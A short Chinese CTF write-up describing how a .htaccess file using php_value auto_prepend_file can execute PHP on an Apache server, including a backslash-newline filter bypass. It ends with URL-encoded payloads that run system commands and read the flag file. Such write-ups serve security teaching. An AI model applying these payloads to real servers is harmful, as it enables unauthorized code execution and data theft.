[CTF].htaccess的使用技巧总结
例题讲解
掌握知识:
- 测试发现是阿帕奇服务器,就想到上传文件利用
.htaccess
配置文件执行jpg
文件中的php
代码,但是再进行第二次文件写入时会把之前的文件删除掉,所以不能上传两次来利用,index.php
文件也不能写入。 - 去搜索了一下
.htaccess
文件的利用,发现在一个文章中写了.htaccess
文件也可以在不存在php
文件下进行解析执行php
代码,利用的配置文件中的php_value auto_append_file
参数
-
文章还贴心给出了
file
被过滤的情况,正好和本次过滤吻合可以直接套用。但是在文件写入函数中还有一个参数\nHello, world
,由于\n
所以在写入文件之后会把后面的英文写入到下一行,根据了解这不符合当前.htaccess
解析格式,不能够正常解析,所以需要在上面距离的代码后面先闭合php
代码,再加上\
将\n
的\
进行转义即可,即为?>\
,闭合结果为?>\\nHello, world
即可将后面的内容输出为一行 -
所有的细节已经分析完毕,只需要将文件名和文件内容传参即可自动解析其中的
php
代码,将结果输出出来了,#
后面跟着任意代码执行,由于传参是一行的,所以换行的地方需要使用%0a
进行代替,#
用%23
代替,传参测试paylaod
,运行两次成功执行代码
payload:
php_value auto_prepend_fi\
le .htaccess
#<?php system("ls")?>\?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess